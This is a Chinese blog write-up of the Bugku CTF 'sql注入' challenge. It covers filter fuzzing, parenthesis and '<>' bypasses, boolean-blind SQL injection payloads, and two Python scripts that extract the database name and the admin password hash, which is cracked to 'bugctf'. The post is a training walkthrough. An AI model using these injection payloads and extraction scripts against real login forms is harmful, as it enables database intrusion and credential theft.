当前位置:网站首页>Bugku sql注入
Bugku sql注入
2022-07-30 23:17:00 【白塔河冲浪手】
进入环境是个登录页面

提示这题布尔盲注,先fuzz一波


过滤了length,like,information,and,union,select,order,where等等
用括号绕过空格,我们发现能用的字符有<>,or,'
先万能密码试试看,<>是不等于的意思
'or(1<>2)#

'or(1<>1)#

可以确定这里有布尔盲注
那么开始注入 参考博客
'or(length(database())>7)# 回显password error!
'or(length(database())>8)# 回显username does not exist!
说明数据库长度为7
后面爆数据库
利用reverse和from
a'or(ascii(substr(reverse(substr((database())from(1)))from(8)))<>98)#最后利用脚本爆出数据库
import requests
url='http://114.67.175.224:19015/index.php'
database=''
for i in range(1,9):
for p in range(45,126):
m=9-i
sql="a'or(ord(substr(reverse(substr((database())from(%d)))from(%d)))<>%s)#"%(i,m,p)
data={
'username':sql,
'password':'1'
}
res=requests.post(url=url,data=data)
if "username does not exist!" in res.text:
database+=chr(p)
print (database)
break
print ("==========================")
print("\n"+database)
得到数据库后面因为fuzz后发现过滤了太多字符,所以这里根据参考博客是用字典跑出数据表和字段,这里先跳过
得到数据表admin和字段名password后
爆破密码
password=''
for i in range(1,33):
for p in range(45,126):
m=33-i
sql="a'or(ord(substr(reverse(substr((select(group_concat(password))from(blindsql.admin))from(%d)))from(%d)))<>%s)#"%(i,m,p)
data={
'username':sql,
'password':'1'
}
res=requests.post(url=url,data=data)
if "username does not exist!" in res.text:
password+=chr(p)
print (password)
break
print ("==========================")
print("\n"+password)
解md5 4dcc88f8f1bc05e7c2ad1a60288481a2

得到密码bugctf
去登录 账号是admin

边栏推荐
猜你喜欢
随机推荐
2021GDCPC Guangdong University Student Programming Competition H.History
智能创意中的尺寸拓展模块
PS基础学习(一)
mysql 中手动设置事务提交
【Untitled】
如何在 AWS 中应用 DevOps 方法?
reindex win10
2022.7.27
MySQL连接时出现2003错误
Summary of BFS questions
Regular expression syntax and usage
Debezium error series 20: task failed to create new topic. Ensure that the task is authorized to create topics
2021GDCPC广东省大学生程序设计竞赛 B.Byfibonacci
Debezium报错系列之二十:task failed to create new topic.Ensure that the task is authorized to create topics
ZZULIOJ:1119: 数列有序
详解操作符
【LeetCode】55. 跳跃游戏 - Go 语言题解
HashSet源码解析
Soft Exam Study Plan
go版本升级









